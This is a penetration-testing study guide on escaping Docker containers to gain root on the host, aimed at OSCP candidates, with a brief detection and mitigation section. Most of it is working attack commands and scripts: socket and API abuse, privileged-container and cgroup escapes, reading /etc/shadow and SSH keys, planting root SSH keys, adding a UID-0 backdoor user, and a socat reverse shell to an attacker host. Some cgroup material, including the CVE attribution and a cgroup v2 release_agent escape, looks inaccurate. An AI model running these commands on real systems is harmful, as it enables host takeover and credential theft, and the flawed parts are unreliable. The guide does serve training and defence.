Domain 4PrivEsc & Password AttacksCORE

Docker Container Escape

Comprehensive guide to Docker container escape techniques for Linux privilege escalation, covering socket access, group membership, privileged containers, cgroup escapes, and more.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#docker#container-escape#privesc#namespaces#cgroups

Docker Container Escape

Understanding Docker Architecture

What is Docker?

Docker is a containerization platform that packages applications and their dependencies into lightweight, portable containers. Unlike virtual machines, containers share the host kernel and achieve isolation through Linux kernel features rather than hardware virtualization.

Core Docker Concepts

Component Description Purpose
Container Isolated user-space process Runs applications in sandboxed environment
Image Read-only template for containers Defines application and dependencies
Docker Daemon dockerd background service Manages containers, images, networks
Docker Client docker CLI tool Sends API requests to the daemon
Docker Socket /var/run/docker.sock Unix socket for client-daemon communication

Docker Isolation Mechanisms

Docker relies on three key Linux kernel features for isolation:

1. Namespaces

Namespaces provide process isolation by creating separate views of system resources:

Namespace Type Isolation Provided Identifier
PID Process ID isolation CLONE_NEWPID
NET Network stack isolation CLONE_NEWNET
MNT Mount point isolation CLONE_NEWNS
UTS Hostname isolation CLONE_NEWUTS
IPC Inter-process communication CLONE_NEWIPC
USER User/group ID mapping CLONE_NEWUSER
CGROUP Cgroup root isolation CLONE_NEWCGROUP

You can inspect namespaces from within a container:

# View current namespaces
ls -la /proc/self/ns/

# Example output:
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 cgroup -> 'cgroup:[4026531835]'
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 ipc    -> 'ipc:[4026531839]'
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 mnt    -> 'mnt:[4026531840]'
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 net    -> 'net:[4026531956]'
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 pid    -> 'pid:[4026531836]'
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 user   -> 'user:[4026531837]'
# lrwxrwxrwx 1 root root 0 Jun 10 10:00 uts    -> 'uts:[4026531838]'

2. Cgroups (Control Groups)

Cgroups limit and account for resource usage:

# View cgroup information
cat /proc/self/cgroup

# Example output:
# 12:hugetlb:/docker/abc123def456...
# 11:perf_event:/docker/abc123def456...
# 10:cpuset:/docker/abc123def456...
# 9:freezer:/docker/abc123def456...
# 8:devices:/docker/abc123def456...
# 7:memory:/docker/abc123def456...
# 6:blkio:/docker/abc123def456...
# 5:cpuacct:/docker/abc123def456...
# 4:cpu:/docker/abc123def456...
# 3:pids:/docker/abc123def456...
# 2:rdma:/
# 1:name=systemd:/docker/abc123def456...

3. Union File Systems (UnionFS)

Docker uses layered filesystems (typically overlay2):

# Check storage driver
docker info | grep -i storage

# View mount points
mount | grep overlay

# Example output:
# overlay on / type overlay (rw,relatime,lowerdir=...,upperdir=...,workdir=...)

Why Docker Escape Equals Host Privilege Escalation

When you escape a Docker container, you gain access to the host filesystem and kernel. Since containers share the host kernel:

  1. Default containers run as root inside the container → root on host (UID 0 maps to UID 0)
  2. Container root is host root (unless user namespaces are configured)
  3. Escaping the container = breaking the isolation boundary = full host access
┌─────────────────────────────────────────────┐
│              Host OS (Full Access)           │
│  ┌───────────────────────────────────────┐   │
│  │         Container Namespace           │   │
│  │  ┌─────────────────────────────────┐  │   │
│  │  │    Your Process (root in        │  │   │
│  │  │    container = root on host)    │  │   │
│  │  └─────────────────────────────────┘  │   │
│  └───────────────────────────────────────┘   │
└─────────────────────────────────────────────┘

Docker Security Model

Default Security Boundaries

Boundary Default Behavior Security Level
User Mapping Container root = Host root Weak (no user namespace)
Capabilities Dropped most, keeps subset Medium
Seccomp Profile Default profile applied Medium
AppArmor/SELinux Profile may be applied Medium
Read-only Root FS Not default Weak
No-new-privileges Not always set Weak

Default Capabilities Granted to Containers

# Default capabilities in a container
cat /proc/self/status | grep -i cap

# CapEff: 0000003c78abd1fb

# Common default capabilities:
# - CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER
# - CAP_MKNOD, CAP_NET_RAW, CAP_SETGID, CAP_SETUID
# - CAP_SETFCAP, CAP_SETPCAP, CAP_NET_BIND_SERVICE
# - CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE

The Docker Socket: A Backdoor to the Host

The Docker socket (/var/run/docker.sock) is a Unix domain socket that allows communication with the Docker daemon. Access to this socket is equivalent to root access on the host because:

  1. The Docker daemon runs as root
  2. The socket accepts Docker API commands
  3. Any command sent through the socket executes with daemon privileges
# Check if socket exists and is accessible
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jun 10 10:00 /var/run/docker.sock

# Test access
docker -H unix:///var/run/docker.sock ps

Enumeration: Detecting Docker Access

Step 1: Check for Docker Socket Access

# Primary check
ls -la /var/run/docker.sock

# Alternative locations
ls -la /var/run/dockersock
ls -la /run/docker.sock

# Test if you can use it
docker -H unix:///var/run/docker.sock info 2>/dev/null && echo "ACCESSIBLE" || echo "NOT ACCESSIBLE"

Step 2: Check Docker Group Membership

# Check current groups
id

# Look for docker group
id | grep -q docker && echo "In docker group!" || echo "Not in docker group"

# Check group file
grep docker /etc/group
# docker:x:999:user1,user2

# Verify docker command works
docker ps 2>/dev/null && echo "Docker CLI works!" || echo "Docker CLI failed"

Step 3: Check for Docker Binary

# Find docker binary
which docker
whereis docker
find / -name docker -type f 2>/dev/null

# Check version
docker --version
docker version

Step 4: Check Running Containers

# List running containers
docker ps -a

# List all containers (including stopped)
docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Names}}"

# Inspect a specific container
docker inspect <container_id>

# Check container capabilities
docker inspect --format='{{.HostConfig.CapAdd}}' <container_id>

# Check if privileged
docker inspect --format='{{.HostConfig.Privileged}}' <container_id>

# Check volume mounts
docker inspect --format='{{range .Mounts}}{{.Source}} -> {{.Destination}} {{end}}' <container_id>

Step 5: Check for Docker API Exposure

# Check if Docker API is exposed on network
nmap -p 2375,2376 <target_ip>

# Test unencrypted API (port 2375)
curl -s http://<target_ip>:2375/info | head -20

# Test TLS API (port 2376)
curl -sk https://<target_ip>:2376/info | head -20

# Enumerate via API
curl -s http://<target_ip>:2375/containers/json
curl -s http://<target_ip>:2375/images/json
curl -s http://<target_ip>:2375/versions

Step 6: Automated Enumeration Script

#!/bin/bash
# docker_enum.sh - Docker privilege escalation enumeration

echo "=== Docker Container Escape Enumeration ==="
echo ""

echo "[*] Checking Docker socket..."
if [ -S /var/run/docker.sock ]; then
    echo "[+] Docker socket found at /var/run/docker.sock"
    ls -la /var/run/docker.sock
else
    echo "[-] Docker socket not found"
fi

echo ""
echo "[*] Checking Docker group membership..."
if id | grep -q docker; then
    echo "[+] User is in docker group"
else
    echo "[-] User is NOT in docker group"
fi

echo ""
echo "[*] Checking Docker binary..."
if command -v docker &>/dev/null; then
    echo "[+] Docker binary found: $(which docker)"
    docker --version
else
    echo "[-] Docker binary not found"
fi

echo ""
echo "[*] Listing containers..."
if docker ps &>/dev/null; then
    docker ps -a
else
    echo "[-] Cannot list containers"
fi

echo ""
echo "[*] Checking for privileged containers..."
docker ps -q 2>/dev/null | while read cid; do
    priv=$(docker inspect --format='{{.HostConfig.Privileged}}' "$cid" 2>/dev/null)
    if [ "$priv" = "true" ]; then
        echo "[+] Privileged container found: $cid"
    fi
done

echo ""
echo "[*] Checking Docker API exposure..."
for port in 2375 2376; do
    if curl -s --connect-timeout 2 http://localhost:$port/info &>/dev/null; then
        echo "[+] Docker API exposed on port $port"
    fi
done

Escape Method 1: Docker Socket Access

Prerequisites

  • Access to /var/run/docker.sock (read/write)
  • Docker CLI available (or use curl against the API)

Exploitation Steps

# Step 1: Verify socket access
ls -la /var/run/docker.sock

# Step 2: Mount host filesystem and get a shell
docker run -v /:/host -it alpine chroot /host /bin/bash

# Alternative: Mount specific directories
docker run -v /etc:/host_etc -v /root:/host_root -it alpine sh

# Step 3: Once inside, you have full host access
whoami
# root

cat /etc/shadow
hostname

Using Docker API Directly (No CLI Needed)

# Create container via API
curl -s --unix-socket /var/run/docker.sock \
  -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["sh"],
    "HostConfig": {
      "Binds": ["/:/host"]
    },
    "Tty": true,
    "OpenStdin": true
  }' \
  http://localhost/containers/create

# Start the container
curl -s --unix-socket /var/run/docker.sock \
  -X POST \
  http://localhost/containers/<container_id>/start

# Execute commands
curl -s --unix-socket /var/run/docker.sock \
  -X POST -H "Content-Type: application/json" \
  -d '{
    "Cmd": ["whoami"]
  }' \
  http://localhost/containers/<container_id>/exec

Writing SSH Keys via Docker Socket

# Create a container that writes your SSH key to root's authorized_keys
docker run -v /:/host alpine sh -c '
  mkdir -p /host/root/.ssh &&
  echo "ssh-rsa AAAAB3... YOUR_KEY" > /host/root/.ssh/authorized_keys &&
  chmod 700 /host/root/.ssh &&
  chmod 600 /host/root/.ssh/authorized_keys
'

# Now SSH as root
ssh root@<target_ip>

Reading Sensitive Files

# Read /etc/shadow
docker run -v /:/host alpine cat /host/etc/shadow

# Read any file on the host
docker run -v /:/host alpine cat /host/root/.ssh/id_rsa
docker run -v /:/host alpine cat /host/etc/passwd

Escape Method 2: Docker Group Membership

Why Docker Group = Root

Members of the docker group can execute any Docker command, which effectively grants root access because the Docker daemon runs as root.

# Check if user is in docker group
id
# uid=1001(user) gid=1001(user) groups=1001(user),999(docker)

# This is equivalent to having root access
docker run -it --rm alpine id
# uid=0(root) gid=0(root) groups=0(root)

Exploitation (Same as Socket Access)

Once you have Docker group access, all escape methods from Method 1 apply:

# Full host escape
docker run -v /:/host -it alpine chroot /host /bin/bash

# Or get a proper shell
docker run -v /:/host -it --rm alpine nsenter --target 1 --mount --uts --ipc --net --pid -- sh

Adding Yourself to Docker Group (If You Have Sudo)

# If you can sudo to add users to groups
sudo usermod -aG docker $USER

# Then log out and back in (or use newgrp)
newgrp docker

# Verify
id | grep docker

Escape Method 3: Mounting Host Filesystem

The Classic Volume Mount Escape

# Mount entire host filesystem
docker run -it -v /:/host alpine chroot /host /bin/sh

# Mount specific directories for targeted access
docker run -it -v /etc:/host_etc alpine ls /host_etc/
docker run -it -v /root:/host_root alpine ls -la /host_root/
docker run -it -v /home:/host_home alpine ls -la /host_home/

Step-by-Step Walkthrough

# Step 1: Launch container with host mount
docker run -v /:/host -it alpine sh

# Step 2: Inside container, explore host filesystem
ls /host/
# bin  boot  dev  etc  home  lib  media  mnt  opt  proc
# root  run  sbin  srv  sys  tmp  usr  var

# Step 3: Read sensitive files
cat /host/etc/shadow
cat /host/root/.bash_history

# Step 4: Get a host shell via chroot
chroot /host /bin/bash

# Step 5: Verify you're on the host
whoami
# root
hostname
# target-machine
cat /etc/hostname

Mounting /proc for Process Manipulation

# Mount /proc to interact with host processes
docker run -v /proc:/host_proc -it alpine sh

# Kill host processes
kill -9 <pid>

# View host processes
ls /host_proc/

Escape Method 4: Privileged Container

What is a Privileged Container?

A privileged container has:

  • All Linux capabilities enabled
  • Full access to host devices
  • Disabled AppArmor/SELinux profiles
  • Modified seccomp profile (all syscalls allowed)

Detection

# From outside
docker inspect --format='{{.HostConfig.Privileged}}' <container_id>
# true

# From inside the container
cat /proc/self/status | grep -i cap
# CapEff: 000001ffffffffff (all capabilities)

ls -la /dev/
# You'll see ALL host devices, not just whitelisted ones

Exploitation

# Launch a privileged container
docker run --privileged -it alpine sh

# Method 1: Direct device access
# Mount host filesystem via device
mount /dev/sda1 /mnt

# Method 2: Load kernel modules
insmod /path/to/malicious.ko

# Method 3: Access host devices directly
ls /dev/
# sda, sda1, sr0, etc. - all host devices visible

# Method 4: Full chroot escape
# Since /dev is accessible, you can mount the host root
mkdir /host
mount /dev/sda1 /host
chroot /host /bin/bash

Privileged Container + Volume Mount = Guaranteed Escape

# The most reliable escape
docker run --privileged -v /:/host -it alpine chroot /host /bin/bash

# Or even simpler - just privileged is enough
docker run --privileged -it alpine sh
# Then mount and chroot from inside

Escape Method 5: Kernel Capabilities

Understanding Linux Capabilities

Linux capabilities break down root privileges into granular permissions:

Capability Description Privesc Relevance
CAP_SYS_ADMIN Broad system administration HIGH - Can mount, chroot, namespace manipulation
CAP_DAC_OVERRIDE Bypass file read/write/execute permissions HIGH - Read any file
CAP_SETUID/CAP_SETGID Change UID/GID HIGH - Become any user
CAP_NET_RAW Use raw sockets Medium
CAP_SYS_PTRACE Trace processes HIGH - Inject code into processes
CAP_SYS_MODULE Load kernel modules CRITICAL - Full kernel control
CAP_MKNOD Create special files Medium
CAP_NET_BIND_SERVICE Bind to ports < 1024 Low

Exploitation with SYS_ADMIN

# Container with SYS_ADMIN capability
docker run --cap-add=SYS_ADMIN -it alpine sh

# Mount host filesystem
mount -t proc proc /proc
mount -t sysfs sysfs /sys

# Access host devices
ls /dev/

# Namespace escape
nsenter --target 1 --mount --uts --ipc --net --pid -- sh

Exploitation with SYS_PTRACE

docker run --cap-add=SYS_PTRACE -it alpine sh

# Use ptrace to inject code into host processes
# Or use gdb to attach to PID 1
apk add --no-cache gdb
gdb -p 1

# In gdb:
# call (int)system("/bin/sh -i")

Checking Container Capabilities

# From inside container
cat /proc/self/status | grep Cap

# Decode capability bitmask
capsh --decode=0000003c78abd1fb

# From outside
docker inspect --format='{{.HostConfig.CapAdd}}' <container_id>

Escape Method 6: Cgroup Escape

Cgroup-Based Escape (CVE-2022-24769 and Similar)

This technique exploits cgroup notify_on_release and release_agent mechanisms.

Prerequisites

  • Access to /sys/fs/cgroup within the container
  • Ability to write to cgroup files
  • notify_on_release enabled

Full Walkthrough

# Step 1: Check cgroup access
ls -la /sys/fs/cgroup/

# Step 2: Check if we can write to cgroup files
echo 1 > /sys/fs/cgroup/release_agent 2>/dev/null && echo "Writable!" || echo "Not writable"

# Step 3: Find the escape vector
# Method A: Using devices_cgroup (older kernels)
cd /sys/fs/cgroup/devices/

# Create a new cgroup
mkdir escape
cd escape

# Set up the escape
echo 1 > notify_on_release
echo '#!/bin/sh' > release_agent
echo 'mount -t proc proc /proc' >> release_agent
echo 'mount -t sysfs sysfs /sys' >> release_agent
echo '/bin/sh' >> release_agent
chmod +x release_agent

# Trigger the escape
echo 0 > cgroup.procs

# Method B: Using freezer cgroup
cd /sys/fs/cgroup/freezer/
mkdir escape
cd escape
echo 1 > notify_on_release
echo '/bin/sh -c "nsenter -t 1 -m -u -i -n -p /bin/sh"' > release_agent
echo 0 > cgroup.procs

Cgroup v2 Escape (Newer Systems)

# Check cgroup version
stat -fc %T /sys/fs/cgroup/
# cgroup2fs

# Cgroup v2 escape
mkdir /sys/fs/cgroup/escape
cd /sys/fs/cgroup/escape

# Write escape payload
echo 1 > cgroup.subtree_control
echo "+cpu +memory" > cgroup.subtree_control

# Create release agent
cat > /tmp/escape.sh << 'EOF'
#!/bin/sh
nsenter -t 1 -a /bin/sh
EOF

chmod +x /tmp/escape.sh
echo "/tmp/escape.sh" > cgroup.release_agent
echo 1 > cgroup.notify_on_release
echo $$ > cgroup.procs

Automated Cgroup Escape Script

#!/bin/bash
# cgroup_escape.sh

CGROUP_PATH="/sys/fs/cgroup"

echo "[*] Attempting cgroup-based container escape..."

# Try devices cgroup
if [ -d "$CGROUP_PATH/devices" ]; then
    echo "[*] Trying devices cgroup..."
    cd "$CGROUP_PATH/devices"
    mkdir -p escape_test
    cd escape_test

    if echo 1 > notify_on_release 2>/dev/null; then
        echo "[+] notify_on_release is writable"

        cat > release_agent << 'AGENT'
#!/bin/sh
mount -o remount,rw /
echo 'docker:x:0:' >> /etc/group
AGENT
        chmod +x release_agent
        echo "$$" > cgroup.procs
        echo "[+] Triggered escape via devices cgroup"
    fi
fi

# Try freezer cgroup
if [ -d "$CGROUP_PATH/freezer" ]; then
    echo "[*] Trying freezer cgroup..."
    cd "$CGROUP_PATH/freezer"
    mkdir -p escape_test
    cd escape_test

    if echo 1 > notify_on_release 2>/dev/null; then
        echo "[+] notify_on_release is writable in freezer"
    fi
fi

Escape Method 7: PID Namespace Escape

Concept

The PID namespace isolates process IDs, but the underlying processes still exist on the host. By escaping the PID namespace, you can interact with host processes.

Using nsenter

# Check if nsenter is available
which nsenter

# If not available, install it (if apt/yum available)
apt-get install -y util-linux

# Enter the host PID namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- sh

# Or enter specific namespaces
nsenter -t 1 -m -u -i -n -p -- /bin/sh

PID Namespace Escape via /proc

# Find host PID 1 from inside container
# The container's PID 1 maps to a different PID on the host

# Check /proc for host process information
ls /proc/1/root/

# If /proc is mounted from host (misconfiguration)
ls /proc/1/root/etc/
cat /proc/1/root/etc/shadow

Combining PID Escape with Other Methods

# Step 1: Get host PID of container process
cat /proc/1/cgroup | head -1
# 12:hugetlb:/docker/<container_id>

# Step 2: Use nsenter to escape
nsenter -t 1 -a /bin/bash

# Step 3: Verify host access
hostname
whoami

Escape Method 8: Docker API Exploitation

Exposed Docker API (Port 2375/2376)

If the Docker API is exposed on the network without authentication, you can control the entire Docker daemon remotely.

Detection

# Scan for exposed Docker API
nmap -p 2375,2376 <target_ip>

# Test unencrypted API
curl -s http://<target_ip>:2375/version

# Test TLS API
curl -sk https://<target_ip>:2376/version

Full Exploitation via API

# Step 1: Enumerate the API
curl -s http://<target_ip>:2375/info | python3 -m json.tool | head -50
curl -s http://<target_ip>:2375/containers/json
curl -s http://<target_ip>:2375/images/json

# Step 2: Create a container with host filesystem access
CONTAINER_ID=$(curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "while true; do sleep 3600; done"],
    "HostConfig": {
      "Binds": ["/:/host:rw"],
      "Privileged": true
    },
    "Tty": true,
    "OpenStdin": true,
    "StdinOnce": false
  }' \
  http://<target_ip>:2375/containers/create | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")

echo "Container ID: $CONTAINER_ID"

# Step 3: Start the container
curl -s -X POST http://<target_ip>:2375/containers/$CONTAINER_ID/start

# Step 4: Execute commands in the container
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "AttachStdin": false,
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": false,
    "Cmd": ["cat", "/host/etc/shadow"]
  }' \
  http://<target_ip>:2375/containers/$CONTAINER_ID/exec | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])"

# Step 5: Start the exec and get output
EXEC_ID="<exec_id_from_above>"
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"Detach": false, "Tty": false}' \
  http://<target_ip>:2375/exec/$EXEC_ID/start

One-Liner API Escape

# Quick escape using Docker API
curl -s -X POST http://<target_ip>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","HostConfig":{"Binds":["/:/host:rw"]},"Cmd":["chroot","/host","/bin/sh"]}' && \
curl -s -X POST http://<target_ip>:2375/containers/<id>/start

Using docker-py (Python)

import docker

# Connect to remote Docker API
client = docker.DockerClient(base_url='http://<target_ip>:2375')

# Create container with host access
container = client.containers.run(
    'alpine',
    command='sh',
    volumes={'/': {'bind': '/host', 'mode': 'rw'}},
    privileged=True,
    detach=True,
    stdin_open=True,
    tty=True
)

# Execute command
result = container.exec_run('cat /host/etc/shadow')
print(result.output.decode())

# Get interactive shell
exec_id = container.exec_run('/bin/sh', stdin_open=True, tty=True).id
sock = client.exec_start(exec_id, socket=True)._sock
# Interactive shell available

Complete Command Reference

Enumeration Commands

# Docker socket
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock info

# Group membership
id | grep docker
grep docker /etc/group

# Docker binary
which docker
docker --version

# Container info
docker ps -a
docker inspect <container_id>
docker inspect --format='{{.HostConfig.Privileged}}' <container_id>
docker inspect --format='{{.HostConfig.CapAdd}}' <container_id>

# API exposure
curl -s http://localhost:2375/info
nmap -p 2375,2376 <target>

# Inside container
cat /proc/1/cgroup
ls -la /proc/self/ns/
mount | grep overlay

Escape Commands Quick Reference

# Method 1: Socket + Volume Mount
docker run -v /:/host -it alpine chroot /host /bin/bash

# Method 2: Privileged Container
docker run --privileged -v /:/host -it alpine chroot /host /bin/bash

# Method 3: Capability-based
docker run --cap-add=SYS_ADMIN -v /:/host -it alpine chroot /host /bin/bash

# Method 4: nsenter
docker run -it --pid=host --network=host alpine nsenter -t 1 -m -u -i -n -p -- /bin/sh

# Method 5: API-based
curl -s -X POST http://<ip>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","HostConfig":{"Binds":["/:/host"]},"Cmd":["chroot","/host","/bin/sh"]}'

# Method 6: Cgroup escape
echo 1 > /sys/fs/cgroup/notify_on_release
echo '/bin/sh' > /sys/fs/cgroup/release_agent
echo $$ > /sys/fs/cgroup/cgroup.procs

Post-Exploitation Commands

# After escape, verify host access
whoami
hostname
cat /etc/hostname
cat /etc/shadow

# Add SSH key
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3... YOUR_KEY" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Create backdoor user
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd

# Install reverse shell
apt-get install -y socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker_ip>:4444

Detection and Defense

Detection Commands

# Check for unauthorized Docker access
grep docker /etc/group

# Check Docker socket permissions
ls -la /var/run/docker.sock

# Audit Docker API exposure
ss -tlnp | grep -E '2375|2376'

# Check for privileged containers
docker ps -q | xargs -I{} docker inspect --format='{{.Name}} Privileged:{{.HostConfig.Privileged}}' {}

# Monitor Docker socket usage
auditctl -w /var/run/docker.sock -p rwxa -k docker_access

Mitigation Strategies

Mitigation Description Implementation
Restrict socket access Limit who can access docker.sock chmod 660 /var/run/docker.sock
Remove docker group Don’t add users to docker group Use sudo for Docker commands
Use Rootless Docker Run Docker daemon as non-root dockerd --rootless
Disable privileged mode Never use –privileged Use specific capabilities instead
Read-only root filesystem Prevent container filesystem writes docker run --read-only
Drop all capabilities Start with no capabilities docker run --cap-drop=ALL --cap-add=NEEDED
Use user namespaces Map container root to non-root host user Configure userns-remap in daemon.json
Seccomp profile Restrict system calls Apply strict seccomp profile
AppArmor/SELinux Mandatory access control Apply MAC profiles
Network segmentation Isolate Docker API Bind to 127.0.0.1 only
TLS for Docker API Encrypt API communications Configure TLS certificates
Docker Content Trust Verify image signatures export DOCKER_CONTENT_TRUST=1

Securing Docker Socket Access

# Option 1: Use Docker auth proxy
# Install and configure docker-auth-proxy

# Option 2: Use socket activation with access control
# In systemd service:
# [Unit]
# Requires=docker-auth-proxy.socket

# Option 3: Restrict with firewall
iptables -A INPUT -p tcp --dport 2375 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 2375 -j DROP

# Option 4: Use TLS for remote access
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem

Rootless Docker Configuration

# Enable rootless Docker
dockerd-rootless.sh

# Or configure permanently
cat > ~/.config/docker/daemon.json << 'EOF'
{
  "no-new-privileges": true,
  "userns-remap": "default"
}
EOF

# Verify
docker info | grep -i rootless

OSCP Exam Tips

Docker Escape is Very Common in Modern OSCP Machines

  1. Always check for Docker access early in your enumeration:

    ls -la /var/run/docker.sock
    id | grep docker
    which docker
  2. The simplest escape is usually the best:

    docker run -v /:/host -it alpine chroot /host /bin/bash
  3. If Docker CLI is not available, use curl against the socket:

    curl --unix-socket /var/run/docker.sock http://localhost/containers/json
  4. Check for exposed Docker API on port 2375 during network scanning:

    nmap -p 2375,2376 --script docker-api <target>
  5. Common OSCP Docker scenarios:

    • User is in docker group → escape to root
    • Docker socket is world-accessible → escape to root
    • Docker API exposed on network → remote root access
    • Privileged container running → mount host FS and escape
  6. Alpine is your friend - it’s small and usually available:

    docker pull alpine
    docker run -v /:/host -it alpine chroot /host
  7. If alpine is not available, try other images:

    docker run -v /:/host -it ubuntu chroot /host /bin/bash
    docker run -v /:/host -it debian chroot /host /bin/bash
  8. Remember: Docker escape = root on host. Once escaped, proceed with standard post-exploitation.

Quick OSCP Docker Escape Checklist

[ ] Check /var/run/docker.sock accessibility
[ ] Check docker group membership (id | grep docker)
[ ] Check for docker binary (which docker)
[ ] Scan for exposed Docker API (nmap -p 2375,2376)
[ ] Try: docker run -v /:/host -it alpine chroot /host /bin/bash
[ ] If failed, try: docker run --privileged -it alpine sh
[ ] If failed, try cgroup escape
[ ] If failed, try PID namespace escape
[ ] After escape: whoami, hostname, cat /etc/shadow
[ ] Capture proof: id, hostname, /root/root.txt

Reference Table: Escape Methods by Access Level

Access Available Escape Method Difficulty Reliability
Docker socket Volume mount + chroot Easy Very High
Docker group Same as socket Easy Very High
Docker API (network) Remote container creation Easy Very High
Privileged container Device access + mount Easy Very High
SYS_ADMIN capability Namespace manipulation Medium High
Cgroup write access release_agent escape Medium Medium
PID namespace access nsenter to host PID Medium Medium
No special access Kernel exploit needed Hard Low